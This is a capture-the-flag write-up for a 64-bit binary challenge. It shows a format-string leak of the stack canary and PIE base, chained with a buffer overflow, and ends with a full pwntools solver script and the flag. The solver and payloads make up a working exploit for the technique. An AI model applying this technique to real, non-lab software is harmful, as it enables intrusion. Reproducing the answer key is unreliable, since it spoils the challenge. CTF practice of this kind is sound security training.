Expertly Secured

Walkthrough

Reconnaissance

pwndbg> checksec ./challenge
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

All protections are on — but there's a win function nothing_to_see_here() that reads the flag.

Vulnerability Chain

Step 1: Format String Leak

printf(buffer);  // in unhackable_logging_module()

Leak the canary and a PIE text address to defeat both protections.

Step 2: Buffer Overflow

read(0, secure_phrase, 128);  // 128 into 32 — in air_gapped_security_gate()

Overflow past secure_phrase, restore the canary, then overwrite RIP with nothing_to_see_here().

Result

[SYSTEM] OH NO! MY TOTALLY SECURE VAULT! HOW DID YOU...:
Securinets_fst{f0rmat_str_an_canary_ar3_fun!}

Reference solver

The reference solver supplied with the writeup:

from pwn import *

context.binary = binary = ELF('./main', checksec=False)

def get_process():
    if args.REMOTE:
        return remote('48.220.35.76', 1337)
    else:
        return process(binary.path)

io = get_process()

payload = "%15$p.%17$p"
io.sendlineafter(b"top-tier logs: ", payload.encode())

io.recvuntil(b"Safely logging your ID: ")
leaks = io.recvline().strip().decode().split('.')
canary = int(leaks[0], 16)
leaked_addr = int(leaks[1], 16)


base = leaked_addr - 0x1507
binary.address = base

success(f"Canary: {hex(canary)}")
success(f"PIE Base: {hex(base)}")

# Gadgets and Targets
ret = base + 0x101a
target = base + 0x12d5 # nothing_to_see_here


offset_to_canary = 40
payload = b"A" * offset_to_canary
payload += p64(canary)
payload += b"B" * 8 # saved rbp
payload += p64(ret) # stack alignment
payload += p64(target)

io.sendlineafter(b"we promise we listen): ", payload)

try:
    print(io.recvall(timeout=5).decode())
except Exception as e:
    print(f"Error: {e}")
io.close()

Flag

Securinets_fst{f0rmat_str_an_canary_ar3_fun!}